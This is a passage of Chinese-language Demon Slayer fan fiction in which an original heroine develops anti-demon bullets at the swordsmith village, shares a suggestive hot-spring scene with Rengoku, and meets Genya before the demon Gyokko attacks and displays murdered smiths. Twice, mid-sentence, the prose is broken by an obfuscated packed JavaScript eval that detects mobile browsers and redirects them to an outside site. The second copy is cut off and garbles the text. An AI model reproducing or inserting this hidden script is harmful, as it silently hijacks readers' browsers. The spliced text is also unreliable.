热气蒸腾的温泉里,我看不清眼前,全部观感集中在与杏寿郎相贴的部分,究竟是水声在作响,还是我心神不定?可月光朗照下杏寿郎的存在如此明晰,我抬起手,抬起手的时候已经忘了自己究竟想做什么,思考的能力退化,最终无措地落在我与他之间,指尖似乎触碰到他喉间。杏寿郎吞咽时喉结滚动,我着了魔,勾着那喉结的形状不断地摸。 他背脊一僵,很快更用力地按着我,将我按向他,失控般用齿尖咬住我丰润的下唇。 他身上太热了——我被困在杏寿郎的怀里,皮肉紧贴,不知道摩擦中润滑的是水液还是潮气,总之一切黏稠而湿滑,只觉得大脑逐渐无法思考,艰难地在他唇舌的追捕间泄露出一声无力的“别”——炼狱杏寿郎严重燃烧着火焰,我任其炙烤,躲藏无门,不知该环住他的脖颈还是推拒。只是手掌在触碰到他身前那个刺眼的疤时,我才像被烫到似的缩回手,再被他轻易捉住,他的五指抵着我的撑开,交错过后我们十指紧扣。 炼狱杏寿郎的前发也因沾上潮湿的水汽而湿漉漉地贴着额,他素来正直开朗的端正五官在此刻显出些往日无法察觉的沉郁,锋利的线条却无端软化,染着浓浓的热切,覆着浅浅的红。他心口也住着野兽,正在苏醒。夜色愈发迷醉,当他的手落在我腿上时我被烫得想要求饶。最终他只是咬在我锁骨上,极力克制地咬了一下。 世间有另一种罪,堂堂炎柱也无可避免,欲念深重。 46. 子弹 杏寿郎的日轮刀需要几天的时间锻造,这些天我们就在刀匠村留了下来。 杏寿郎和蜜璃每天都在进行战斗特训,我一般只负责观看,那个训练量太恐怖了,简直堪称魔鬼,即使削减至十分之一也不是我能完全承受的。不论是杏寿郎与生俱来的天赋,还是蜜璃异于常人的肌肉密度,我都只能望洋兴叹。 于是当他们跑到深山密林里进行拉练的时候,我就在刀匠村的锻造工坊里,和专精机巧的匠人沟通关于矿石制作子弹的研究。 事实上子弹的制作并不算太难,但是要制作出能够装载紫藤花毒或者紫藤花粉末的弹壳,对于纯手工打造的匠人们来说仍然是一个不同寻常的挑战。 锻造工坊内炉火升天,闷热非常,往往待上十几分钟我就感觉汗湿了满背。但是刀匠村的刀匠们别出心裁的武器改造想法总是让我感到惊讶,在拆解过一次我的手枪后,他们甚至研究起手枪的锻造,我也就毫不在意环境的变化,兴致勃勃地跟着留在工坊里一待就是几个小时。 日落后,杏寿郎会带着蜜璃回来。两个人像是遛弯遛够了的大型犬,心满意足地消耗多余精力后,会乖乖地等在锻造工坊接上我,我们就会一起去山顶泡温泉——不是一起,我是说,我和小蜜璃先去泡温泉,等我们泡完才轮到杏寿郎——那天之后,我对温泉这两个字可谓竖起特殊的雷达感应,听到就会生出应激反应。第二天在蜜璃邀请我一起去的时候,我瞬间脸红得快要滴血。 偏偏蜜璃什么也不知道,以为我是不习惯与人露天地坦诚相见,还坦率地拍拍我的肩头,说可以围着浴巾泡,叫我不要害羞! 天啊—— 炼狱杏寿郎那时在偷笑,我把手里先前把玩的空弹壳扔向他,他明明可以轻而易举地接住,却还是佯装被击中地倒地。 “糟糕!杏寿郎哥哥中弹了!”蜜璃捂着脸尖叫起来,手足无措地看着我。 你们两个! 我只好配合地挪向杏寿郎,试图检查他身体的手才刚压上衣襟就被他伸手抓住。他睁开双眼注视我,赤金色的眼瞳中除了倒映出的我,其他什么也没有。 我慢慢羞红了脸,转开头时发现蜜璃已经笑着跑远了。 大约忙碌了几天后,我需要的子弹研发进步斐然。期间炭治郎他们也到了,蜜璃则修整完日轮刀,离开刀匠村回到她的驻守地去了。 哦,还有那个玄弥君——不死川玄弥,那个风柱大人不死川实弥的弟弟,我也在刀匠村见到他了。 是在蜜璃离开后的一天,傍晚时我离开锻造工坊,就在快要到达住处时,忽然听见一声枪响。 这绝不是我的幻听,而是绝对真实的声音,子弹冲出枪膛划破风声,再击中什么,弹壳炸裂开时那点细微的响动也在我今日跟随刀匠们痴迷般的研究中变得无比清晰。 是谁在开枪? 刀匠村的居民们好像活在黑船开国之前,每天过着日出而作日入而息的生活,一整天的行程里除了锻造就是锻造,偶尔的休憩就是享受温泉,吃喝玩乐被限制在村子里后可以发展的范围极其狭隘。 可以说在我到来之前他们没有一个人了解枪——也没有人想到要去了解。 枪响声还没有停,甚至随着时间的推移变得越来越密集。其中不乏有几枪没能击中而落空,一声沉闷的巨响传来,紧随其后的是一阵树影摇动的梭梭声。 一个不祥的预感逐渐涌上我的心头。 杏寿郎和蜜璃都在村子里,我不担心会有鬼入侵。但是如果是人呢? 如果是会开枪的人呢? 你很难保证一定没有人会找到这里,即使歪打误撞。只要刀匠村确实存在于现实世界中的某一个地方,那么就一定有可能会被人发现。 而人……无限列车的事件是对我敲响的警钟。鬼以人类为食,站在人的对立面,这是毋庸置疑的。但鬼并不是站在所有人的对立面,只要条件足够诱人,就一定会有人愿意成为鬼的拥趸。 人类害怕死,更害怕惨痛地活着。 夜色渐深,月光如水如雾,笼罩着眼前的山林,轻轻覆在眼前能见的一切事物之上,将天幕映照得连一颗星子都看不见。 初夏的夜还会有凉气,夜风随着袖口的鼓动与裙摆的晃荡侵扰我的身体。轻出一口气,小心翼翼地藏匿着自己的身形,不让影子暴露出来,我躲避在一棵树后远远观察着。 那是一个穿着深色短打的年轻男人,黑紫配色,黑发梳成一个很时髦的发型,背影看着很是健硕。 他抬起手,角度固定,手腕几乎一动不动,果断扣下扳机。子弹射出,连带出枪膛一连串细微火花。 子弹迅疾而过,最终射中一片飘落的树叶。 又有一片树叶飘落,他调转方向立刻再次开枪,子弹毫不意外地再次击中。 好准的枪法。即使是我也得由衷感叹。 “是鬼杀队的成员啊。” 一个声音忽然响在我脑后,我受到惊吓,险些失声尖叫。 猛然转头只看到杏寿郎站在我身后。 “看你好久没回来,有些担心才想出来找你。”杏寿郎认真地解释道。他伸手摸了摸我的头发,温热的指尖顺着鬓发贴到我脸颊。 即使我已经竭力控制,但被吓到还是发出不小的动静。枪响声停止了,取而代之的是轻轻踩到落叶上的声音——他也听到了,于是警惕地顿住步伐,没再靠近。 我不由抓住杏寿郎的衣袖,让他注意后方。他接收到视线,笑着走开几步。 “你好。” 杏寿郎自然地同那位几乎蛰伏进黑影里的少年打起招呼。 “在下炎柱,炼狱杏寿郎。” “你不是驻守刀匠村的成员吧?独自来到这里是有什么事吗?” 我跟着转过去查看,才注意到这个人其实还只是一个少年,看着和炭治郎他们似乎差不多大,五官仍然带着些稚嫩的意味,腰间平静地悬挂着一柄日轮刀。 看到杏寿郎后,他无声地向他鞠躬示意,低着头说自己前来修缮日轮刀。 “唔姆。”杏寿郎沉思了会儿,终于想起什么似的击掌道,“想起来了,你是玄弥少年吧?” 玄弥? 这个名字……我正觉得耳熟,从脑海里翻找着相关的记忆,杏寿郎接下去的话语已经为我解惑:“是不死川的弟弟对吧。” ——不死川?那不是风柱大人的姓氏吗?不死川实弥、不死川玄弥……我恍然大悟,仔细地打量起面前的少年,这么一看,五官上的确和风柱大人如出一辙,脸上横过一道疤痕。但是发色却是截然不同的黑色。 玄弥没有回答杏寿郎的话,他握紧拳头,表情有些僵硬。 不知为何,他看起来似乎不想提起哥哥风柱。 但我已经想起来之前与风柱的那次会面——说是会面也不太对,应该说是在烟火工厂无意间遇上。我去视察武器研发的进度,正巧碰上拿了新的子弹要离开的风柱大人。礼貌地同他打过招呼后我退到边上等待他率先离开。以往每次都是这样的。 但这次不同,风柱大人看到我后站定在原地,没有立即离开,而他的目光是锋利的,正扫视着我。寂静已经让我忍不住直视他:“还有什么事吗,风柱大人?” 鬼杀队的风柱不死川实弥,看着与平时没有区别,白发、凶戾的表情,敞开的衣领与强健的身形,还有新添的疤痕肆无忌惮地横贯他的皮肤。 我猜他是一个做事果断、不会犹豫的人,但今天他脸上却罕见地挂着纠结。 “有栖川小姐。”他尽可能让自己的语气听起来平和无害,看来他也知道自己的存在带给我不小的压力,“可以和你单独聊聊吗?” 我疑惑地看着他:“……当然。” 我们在无人的会客室面对面坐下。风柱大人没有立刻开口,他坐下后先是合上双目,眉宇间自然而然地皱起,而它的主人却并没有注意到。沉思片刻后,他终于睁开眼对我说道:“接下来你和炼狱要去刀匠村对吧?” 我点点头。这件事并不是秘密。 “这个。”他把自己一直拿在手中的盒子放到桌面,那东西我并不陌生,是一盒特制子弹,我也随身携带有。风柱大人言简意赅:“请你在刀匠村的时候把这个交给一个叫玄弥的少年。” “不要说是我让你做的。”他补充道。 我从没见风柱大人配过枪,也怀疑过他之前拿着子弹真是给自己使用的吗?但这会儿听到他的请求,才明白果然如此,他从前取走的那些子弹应该也是给这位叫作玄弥的少年吧。“当然可以,”我应下,即使风柱大人没有这个请求,我也同样要带着子弹前去,今天过来就是为了取走样品,“那么请问玄弥君长什么样呢?” “黑发,大概这么高……可能还要高一点……”风柱大人磕磕巴巴地用极其简略的文字和我形容着玄弥的长相,发现文字难以描述后他又试图比画起来。他口中的玄弥是一个矛盾的集合体,又凶又单纯、又直白又纠结,我听得云里雾里,只知道对方是一个和他长得很相似的黑发少年,脸上有一道疤。 “风柱大人怎么知道我会在刀匠村遇到他呢?”毕竟我和杏寿郎的行程也算得上临时起意,并非蓄意而为。总不能那位玄弥君常驻刀匠村吧? 午后的光线纷纷扬扬,每一丝都闪烁着辉光,仿佛可以穿透人的肌肤,将世界变成透明无色,一眼能看清其本质。风柱的白发被投射的日光照耀后仿佛融化在璀璨里,边缘模糊成金色的光晕。他再次陷入沉默,气氛因此凝滞,但并非压抑,我只是奇异地从面前这个暴躁直接的柱大人身上感受到从未有过的……伤感? 是我的错觉吗? “他每隔一段时间就会去修缮日轮刀,算算和你们去刀匠村的时间差不多重叠,”风柱大人站起来,不想再回忆从前,迅速把话说完,“如果没有遇到的话,就请把子弹交给村长,请他转交。”话音刚落,他就立刻站起来想要离开,临出门前又想起什么回身提醒道:“不要说是我让你做的。” 前几天我有询问村长有没有一个名为玄弥的人前来,但得到的答案是最近玄弥君一直没有来过。本来打算离开前把子弹留下,没想到今天晚上就遇到了。 “玄弥君,会使用手枪吗?”这不是废话吗?我刚才看得一清二楚!但为了不让自己后面的话变得突兀,也不能引出风柱大人——话说风柱大人为什么要隐瞒自己的作为呢?这对兄弟似乎也有些奇怪——我还是选择从那把手枪开始话题。 玄弥抬头看了我一眼,我觉察到他的注视,立刻对他露出一个值得信任的微笑。但得到的结果不太理想,他皱着脸仍然把头低了下去,无论如何不肯再看我一下。 “可以请你帮我一个忙吗?”我小心翼翼地拜托,没得到回应,我只好求助一旁的场外援助,拽住杏寿郎的衣袖。和风柱大人的约定我早前就已经告诉杏寿郎,以他和风柱大人多年共事的联系,必然知道不死川家的过往。听到风柱大人请求不要透露自己的存在时,杏寿郎远望着庭院,他没有解释,却轻轻叹息。 他唔了一声,“到屋里说吧,玄弥少年。” 玄弥君看起来不太乐意,但出于对柱的尊重还是照做了。不过他不肯站得离我太近,进屋时缀在最后,坐下时也选择了离我最远的位置,目光宁可像猫头鹰一样死死盯着杏寿郎,也不愿意分我一丝余光。好像我是什么洪水猛兽——现在的小男孩儿还真难懂啊…… 唉,谁让我是深知社交礼仪的有栖川小小姐呢,不强人所难是一种礼貌。没再寒暄,我拿出今天才制作完毕的特殊子弹,开门见山地想要递给他。 玄弥始终不肯看我,顺便把我的动作也无视了个彻底。 我张望身边这两人,杏寿郎眼睛眨也不眨,对面的玄弥更是像要同他比较谁能坚持不眨眼更久。 好吧,鬼杀队怪人还挺多的,我没觉得他失礼,也并不感到冒犯,这一年对我的磨炼体现在方方面面,我体贴地把先前带来的子弹盒放在桌面上,往他的方向推近了些。 “先自我介绍一下,玄弥君,我是有栖川朝和,这是我的家族与鬼杀队共同开发研制的一种针对鬼的特制武器。”我的话吸引了玄弥的注意力,他这才放弃了杏寿郎,转而看向桌上的子弹。整齐排列的一盒子弹数量不多,只有二十枚,子弹的研发改进并没有药物的推进那么变化巨大,往往只体现在毫厘之间。但每一次的变动都有着截然不同的效果。危险品在灯光下散出沉默的哑光,某种冷冽的危险感遍布其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613444|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中。 “之前的子弹也是你们?” 啊——风柱大人先前拿的子弹果然是交给玄弥了啊,猜想被验证,我了然地点头。“是的,不知道先前的批次,玄弥君使用起来效果如何?”我需要很多样本数据,武器的实验数据和药物一样重要。但药品的使用每天都能在蝶屋得到更新,武器却很难。大概讲解原理后,我表示:“这是最新款。” “不过,我目前正在和刀匠村合作,协力推进子弹原料的改革,试图使用猩猩绯砂铁和猩猩绯矿石制作弹壳,加大子弹对鬼造成的伤害。”我郑重地将双手交叠在桌面,看向玄弥,这一次成功与他对视,“现在每一天几乎都会产出试验品,我希望这个能交给玄弥使用。请帮我测试一下对鬼的杀伤力。我想会比从前的那些子弹效果更强劲的。” 其实只有一秒钟的对视,他很快撇开视线,但只是这短短的一秒钟,并不白皙的脸上已经迅速地蔓延上绯红。 不等我反应过来,他已经一把抓起子弹,嘟囔了句什么,径直跑出和室,一溜烟就没影了。 “啊那孩子……”是害羞了吗? 我正觉得有趣,看向杏寿郎时却注意到他正凝视着玄弥方才坐着的地方。座席一角染着些许红痕,并不太明显,但这红色是新鲜湿润的。用手指触碰后粘到指腹,微微腥涩。 “这是?” “血。” 杏寿郎看着玄弥离开的方向,不知道想起什么,脸色沉沉的。 “一直受着伤吗?难道呼吸法没有起效?”我也跟着担忧起来,之前竟然一直没有注意到。 虽然杏寿郎表示没有大碍,但我总觉得有种不祥的预感,仿佛黑云压境的雷雨前奏,气候总是沉闷无比。思虑后,我决定把随身携带的药品也分出一部分拿给玄弥,当然炭治郎那边也很需要,那孩子是个容易惹上“麻烦”的体质呢。 后来想想,这一行为来得毫无理由,可我却无比感谢当时的自己。 但在那时候,我只是看着炭治郎和玄弥各自在山里训练,大多时候我见不到玄弥,只是每天黄昏他会到锻造工坊来取最新的需要测试的子弹,并且和刀匠们汇报前一批样品的测试效果。而炭治郎每天累得不行,回来时总是一副快要散架的样子,有两天仿佛还饿着肚子,我特意给他留了点心,他一边吃一边汩汩流泪,在我总觉得他或许会放弃的下一刻,他都会更加坚定且充满活力地继续去挑战。 取而代之的是杏寿郎每天漫步在刀匠村中接力巡逻的职责,一片平和之中我也就安心地全身心投入进研发里。 很快,在刀匠们的倾力锻造中,针对我的需求特别开发的子弹终于研发完毕。那天等到我离开锻造工坊时已经很晚了,杏寿郎前来接我。金属在刀匠的完美锤炼下基础成形,晾凉后进行灌装,最后再封铸。成品的造型与我带来的子弹样品看着别无二致,但是其中所蕴含的针对鬼的力量更加巨大。 即使每一个步骤都是在我的注视下进行的,我还是很难理解刀匠们是如何用着肉身对金属进行反复捶打、剪裁、焊接,最后替代了机器的存在,以一种极其严谨的态度制造出科技的产物。 更奇异的是猩猩绯砂铁和猩猩绯矿石制造出的子弹壳并非是银白色,而是深沉的漆黑。 初次尝试,作为试验品的子弹没有制造太多。我揣着它们开始思考要去哪里进行试用。 杏寿郎的刀也已经铸造完毕,锋利的刀刃尚未饮血,被收纳进白色的刀鞘中后藏匿起杀气。 这意味着我们是时候该启程了。 来来去去的奔波牵动心情,总归有些伤感,杏寿郎就准备带着我去泡温泉放松心情, 我一大早就扎进锻造工坊里,吃饭也是跟着刀匠们简单吃些糊弄两餐,全然是两耳不闻窗外事的专注状态,根本没注意到外界的变化。等到离开那间火炉一般热烈的房间,才感受到身体的变化,四肢僵硬,头脑也昏昏沉沉。 在刀匠村,真正的休闲一定是泡温泉。尤其辛劳一天后,作为一个健康天然的放松方式可以完美舒缓身体积累的疲惫。 我和杏寿郎循着宇髓先生告知的方位,在密林间行走,有大半的路并没有铺成,落满树叶的林地上只是隐约保留着有人曾经走过的痕迹。如果不是得到专门的指引,恐怕我绝对想不到,这深山之中竟然藏着一处鲜有人知的秘境温泉。 杏寿郎走在前面,牵着我。我穿着木屐,踩在落叶上时格外小心,生怕没有站稳会连带着让两人一起摔倒。不时用木剑拨弄脚边茂密的野草的杏寿郎自然注意到了我的警惕,更用力地握住我的手。 又走了一会儿,路途才逐渐平坦,已经可以闻到硫黄的独特气味。比山下那股温泉更汹涌的味道,无人享用而独自沸腾的热浪,我笑起来,很是不解:“宇髓先生他们,到底是怎么发现的这里?” “宇髓和他的三位妻子很喜欢泡温泉,闲暇无事的时候经常到处寻找秘境温泉。从前我在京都附近巡查的时候,在山里有遇到过他们寻找温泉。”杏寿郎解释道。 “京都附近的秘境温泉吗?他们有没有成功找到?”刀匠村离家还是太远了,出行不便,也不好总来打扰,但如果是在京都附近也有类似的秘境温泉,那就可以经常去享受了!已经完全爱上泡温泉这项活动,我恨不得在家里也凿一个小温泉出来。 杏寿郎了然地点点头,表示支持:“等回去之后问问他们吧。” 藏在参天大树之中的野生温泉终于在我们眼中显露身形,因为藏在深山之中行路不便、少有人来,这里并没有建造任何建筑,只在边上堆有一些相对平整的岩石,和应该是前来泡温泉的人留下的木椅。 虽然暴露在外,但温泉水质清透无比,池内甚至没有几片落叶,周围也没有什么动物留下的痕迹。 但杏寿郎还是站在温泉边用前人留下的工具将温泉池边清理一番,之后才慢条斯理地伸手缓缓解开腰带。他本就穿着浴衣,肌肉健硕的身躯就藏在那幅织锦之下,随着他的动作向我显露。他的视线落在我身上,扩大了嘴角的笑容,于是伸手向我。 我躲开了他的目光,耳垂被温泉的热气熏得通红,小步小步地移向他。 夜色之下唯独我们两人,可以借着静谧好好享受一番了。 47. 长夜漫漫 我们在温泉里共享了许久安静,直到山间风声渐长,风中夹杂着什么气味顺着被一路吹来。杏寿郎不觉皱起眉,他早早感应到危机。 “怎么了吗?”我关切地问道。 “有鬼的气息。” 简简单单的几个字,却抓紧我的思绪,我惊讶地打量周围,月色皎洁如水,纷纷扬扬落在山林之中,照亮了四下可见的一切,而半空中散发着幽幽光芒的萤火虫也不知疲倦地纷飞着。这怎么看都是一个安宁祥和的夜晚。 我实在难以相信:“怎么会有鬼呢?” 怎么会呢?刀匠村被隐藏在寂寞的群山之中,辉映的只有日月星辰,大多时候几乎没有人员进出。大家都过着日出而作、日落而息的俭朴生活,依山傍水,且也只是靠着这些千百年来不会改变的山水生存。这世界上几乎没有几个人知道刀匠村的具体位置,哪怕是柱进出此间都要费上一番功夫,更遑论其他人。 而刀匠村的附近山林中藏着矿洞,那些针对鬼的日轮刀所使用的特殊矿石就从其中产出,它们即使未经锻造也依然蕴藏着巨大的属于太阳的能量,这些矿石的存在本身就是一种对于鬼的威慑,让它们像是春天鼻炎过敏的人,一闻到空气中太阳的味道就喷嚏不断般一阵恐慌。 但杏寿郎的感知绝不会作假,我们迅速更换了衣服,准备在山中寻觅气息的来源。 即使有着天然的山岳屏障作为隐藏的先决条件,但刀匠村与其他鬼杀队下属的产业有一点与众不同,周围并没有种植紫藤作为防范的一环。山峰与树林的存在也使得紫藤注定无法在附近大规模种植,如果要以这个角度来说,那么刀匠村能够隐藏至今,同样有着不轻的幸运成分。想到这里,我竟然忽然对附近可能会出现鬼这个观点感到认同。 藏在深山密林中的秘境温泉是荒无人烟的象征,以此为凭据,如果在这附近出现鬼,至少对于刀匠村的实际损失并不会太大。只要对方不是上弦……我用力摇头,想把这个不幸的念头甩出大脑,紧紧牵着杏寿郎的手警惕地观察着周围。时间已经向着深夜划去,天幕暗成浓稠的墨,远离城市的土壤上总是笼罩着星辰的光点,我们缓缓走到蜿蜒在树木间的小路上,而路的尽头,一阵奇怪的啪嗒声响起。 那是一种黏稠的、泛滥着汁水的声响,不断粘在地面,再难分难舍地抬起,让我想起某种油腻的介质,仿佛一旦沾上酒无法清洗干净。 究竟…… 杏寿郎猛地收住步伐,牵着我的那只手陡然将我拽到身后,用自己的身躯挡在前方。握住日轮刀的手隐隐用力,清晰的筋脉隆起,屈着的拇指指节已经顶住刀镡,时刻准备出鞘。 我的视线越过他肩头,看见一条巨大的怪异的鱼。 的确是鱼!它的主体像极了会出现在浮世绘中的锦鲤形状,然而大得吓人,似乎有一人之高。通体紫色的鳞片在月光下间或闪烁出一阵银白的偏光,两颗死白的鱼目爆出,眼珠咕噜乱转着,在终于瞄准我们后,又兴奋地突起。它大张着嘴,鱼没有发声器官,我却还是感觉自己听到了嘶哑的吼叫。它有没有知觉?或者感应得到杀意吗?我还没来得及想清楚,就看见它展示出鲨鱼牙一般的巨齿,尖利无比。 但最让人感到意想不到的,却还是……这鱼形怪物生着粗壮有力的四肢——人一样的四肢——代替鱼鳍掌控方向,支撑着庞大的鱼身迅速移动,甚至能抬起手掌向人们展示它有着刀剑般锋利的爪子! “好丑!”我情不自禁捂住嘴。 这更像一个噩梦。 昏暗的夜里,长出四肢的畸形鱼类爬上岸。 杏寿郎微微侧头,嘱咐我道:“小心周围。” 我用力点点头。将最近一直随身携带的手枪拿好,做好准备。开发完毕的子弹正缺一个试验的机会。 说时迟,那时快,挡在前方的鱼形怪物忽然暴起向着我们扑来,它姿态不稳,四肢交替着攀爬,间或想要伸出一只手攻击。但没等它靠近。杏寿郎已经抱住我躲开,跳至侧面。 “那个壶!”我们都看见鱼身上反顶着一个巨大的瓷壶……等等,是顶着吗?我蹙眉凝神看去,却看到壶的表面生长着虬结如树根般的脉络,一直延伸到鱼的躯体。那好像是长在一起的! 杏寿郎松开我,踏出一步,抽出刀刃后反握在身后,面对调整了方向准备再次冲撞而来的鱼,轻巧地飞身跃起,一刀砍向那个壶。 火炎流转,一分为二的壶中裂出一道血色,鱼怪顿失生机,砰地砸向地面。 从壶开始,逐渐化为灰烬。 这甚至算不上鬼。用魔幻小说中的存在来描述,大约就是一种召唤物,不会思考、没有意识。甚至看着没有生命,只要斩断那个壶,就失去了维持行动的动力能源。 杏寿郎没有把刀收回鞘中,赤金的眼瞳中闪烁着凛然的光泽,他的视线穿过茂密的深林,远远望向我们来时的方向——温泉山脚,那是靠近村庄的位置。 “村子里会不会……”刀匠们并没有什么战斗力,他们铸造日轮刀,但没有修习过剑道,尤其不会呼吸法是无法发挥出日轮刀的实力的。村落中虽然驻守有鬼杀队的成员,但是如果鱼怪是大规模产生的,那么无论如何也应付不过来。况且操纵它们的鬼还没有现身。从前遇到的那些鬼,血鬼术的施展都很具象,可随着鬼越来越强大,他们的能力也逐渐变得离奇。没人知道上弦之中是否存在着可以制造出鱼怪的鬼。而这,也是我们最应该担心的情况,刀匠村如果遭到上弦鬼的侵袭,这意味着它的位置已经不再安全! “别担心,村子里还有灶门少年他们在。”杏寿郎快步走到我身边,“负责附近区域守备的柱也会很快赶来,要已经去传递消息了。”他说着,一手搂住我的腰,带着我向前跑去。 不断穿梭在树木间,时常可以看到爬行的鱼怪,杏寿郎抽刀轻松将它们解决,还有离得远些的,我也开枪瞄准后将它们身上的壶打碎。特制的子弹原理已经无限靠近日轮刀,开枪时我不断回忆着当初外祖母带我体会的感受,将意念混杂着力量,传递进枪膛之中。子弹射出,穿破夜风,击碎壶后响起一阵清脆的碎裂声,鱼怪应声摔倒。 我抱住杏寿郎的脖子,“看到了吗!效果好好哦!” “嗯。”杏寿郎又把我抱紧了些,脚下步伐加快。[抱着赶路真的可以画(什么都可以画)] 但我们所处的位置本就已经远离村落,即使是杏寿郎,赶回去也需耗费些时间。疾驰中他忽地回头望了一眼,脚步顿住,侧脸的线条随着皱起的眉头而显得凛冽无比。眼中野火燃烧。 “怎么了?” “有两个鬼。” “什么?”心悸感不期而至,无声地告诉我:我的担忧已成现实。 如果是两个上弦…… 战胜堕姬他们所付出的代价还历历在目,如今在刀匠村的人员储备远不及当时。如果是两个上弦,要如何分配?村子里人员更多,但有炭治郎他们在,村外……村外少有人在,那个鬼为什么会出现在村外? 杏寿郎没有纠结,调转方向朝着距离更近的鬼冲去。 月色摇摆中我已经能从树林间瞧见目的地,尚且空旷的地带有一座小木屋孤零零地竖立着。 还有—— “时透!” “霞柱大人!” 竟然是循着鬼的气息同方向前来的霞柱时透无一郎与两个眼熟的村民! 霞柱大人轻啊了一声,对我们点点头。 “霞柱大人怎么会在这儿?”我竟然完全不知道霞柱在刀匠村里,原本以为霞柱是负责守卫刀匠村附近区域的柱,但一旁的刀匠快速解释了缘由:他只是来取保养的日轮刀。我认出那个刀匠,是与炭治郎的专属刀匠很熟识的人,而另外那个孩子近来经常看见他来找炭治郎。这意味着至少还有一位柱大人会前来,想到这里我稍许感到安定。 “我们一起过去,尽快解决后返回村里。” 杏寿郎原是这么说的,有他们两个人在,解决上弦并非不可思议,况且也的确是最佳方案。 但现实永远不会顺应你,它只会在你即将习惯时重整旗鼓,再给你全新的致命一击。 轰然的声音响彻天际,像一阵爆炸的烟尘向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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壶里突然诡异地传出一阵瓮声瓮气的笑声,那笑声满是恶意,尖细的声线不轻不重地勾挠着气氛。我警惕地盯紧了壶,那是一个主体为白瓷的壶,在昏暗的天光下我隐约能看出釉彩上得还算均匀。壶身绘制的花纹是基础的花草纹样,青绿色垂枝上蔓生着一圈多彩的小花,且每一朵花都仔细描了金边。但老实说算不上多精致,甚至不如我衣裳上绣出的纹样。 而且……是我看错了吗?这个壶怎么还不太对称,似乎一边高一些? “你居然注意到了我。” 壶里的声音还在继续,它就像一个发声器官,随着每一个字的吐出,壶身也跟着摇摆起来。瓷制的壶底与地面分分合合,轻轻的噪声总伴随着一种不安感,我还不知这感觉来自何处,就已经想到瓷瓶滚过桌面最后砸碎在地的画面。瓷器是精致贵重的,也总是易碎的。 “看来你是柱吧?” 它兴奋地转了转圈,轻轻跳了下。 霞柱大人握紧了手中的日轮刀,他微微垂头,目光落在壶上。 就在壶平稳下来的瞬间,一股漆黑如水的物质唰地从壶里喷出,但它没有散开,也没有泼落在地,而是在半空中凝聚起长条形,似乎具有橡胶般的质感。黑水之上……是一具人形! 用简略的语言无法完全形容的丑恶完全地展露在那具人形之上,这是鬼,是黑夜中苟且偷生的生物,是晦暗与肮脏的形象表述。月光下这罪恶无所遁形,甚至不再以含蓄作为伪装,而是直白地显露人前。 它有着两只眼睛,一只在原本嘴的位置,一只则竖着裂在额心,原本该是双眼的位置变成两张嘴,绿色的嘴唇正兴奋地开合。装饰它身体的并非什么独属于鬼的花纹,而是数只生长在肩膀与耳朵处的手臂。看那手臂的大小,更像是婴儿的部分。 它扭动着身体,轻佻地用尖细的嗓音说着些与外貌毫不相符的礼貌话,身体则故作姿态地表现起礼节:“初次见面,我是玉壶。” 真是……我皱紧眉头。 长得有碍环境卫生的东西! 48. 审美 上弦之五的玉壶。 他摇曳着身形,从壶口中生长出的漆黑软体上也并列着数只小手,随着他的每一声话语依次鼓掌,将兴奋的情绪表达而出,脸上错位生殖的五官更是夸张地鼓动。那阴森的笑声让听见的人都遍体生寒,在这个夜深人静的时刻,月亮只露出一勾光明,而云雾仍不肯放弃笼罩它。 不仅是丑陋,更多是诡异,我甚至难以想象它从前也是一个人类,当我试图去寻找那些身为人类残存的痕迹时,那些非人的迹象总会无声地宣告:它是鬼,而鬼是异类。 “在开打之前能聊聊吗?”它故作礼貌的声音流露出笑意,我强忍住内心的不安,和刀匠与名为小铁的少年都情不自禁向霞柱大人靠近了些,虽然他个子不高、身躯也不似成年人有着极为健壮的体魄,但面无表情地举着刀的霞柱大人却让人不觉倍感安全。 霞柱大人没有因为我们这不约而同的动作分散注意力,只是嘴上不解:“你们都靠过来做什么?” 我不好意思说自己是因为害怕,老实说玉壶脱离了我对恐惧的定义,更多是目击了非自然丑恶后产生的一种生理性的厌恶,它身上拼接般存在的部位都可运转,如此畸形的体态甚至保有理智,但它的存在明明像一种罪恶,任世界上最恐怖的恶魔见了它都会认为它该下地狱!我握紧了手枪,强迫自己从那种惊慌中醒来,镇定思维,注意四周。 但它——这个肮脏的源头却还在欣然叙述:“今晚还请几位贵客务必欣赏一下我的作品。”它的笑音压抑不住,快要冲破牙关,把所有恶意袒露。 作品? 我没来由感到一阵恶寒,那种不适感顺着我的脊背蔓延进体内,徜徉在胃海,最后在我看见那个忽然出现的平平无奇的陶罐时疯狂跳动起来,拽着我的胃下沉。酸液将浪潮印到我喉间,眼看着那个窄小的壶口中生长出的阴影逐渐拔高、长大,像一棵怪诞的树枝繁叶茂。我捂住嘴,不知道是想捂住随时可能逃出的尖叫,还是抑制正在胃里低沉叹息的呕吐欲。 那些…… 那些刀匠们……每一个我都见过,即使没有深交,但也在铸造工坊多多少少说过话,他们对子弹的铸造很感兴趣,每个人都争先恐后地发表意见提出改造的想法。就在今天白天还能笑着说话,但现在,他们却被一个压着一个地摆放在一起,身体被摆弄成各种狰狞的形态,任由血液流淌飞溅。将他们构筑在一起的,却是他们视为生命的刀。 “此作品名为‘刀匠临终时’。”玉壶激动的音调高昂,它像是没有看到我们的惊惧——也或许是因为它根本不在意,只是感情饱满地疯狂扭转着漆黑柔韧的身体,在那些刀匠的身边周转巡游,目光时而落在已经几乎失去意识的刀匠们身上,时而轻飘飘地落到我们脸上。它介绍着刀匠们颤动的手,却含有引以为傲的快乐。 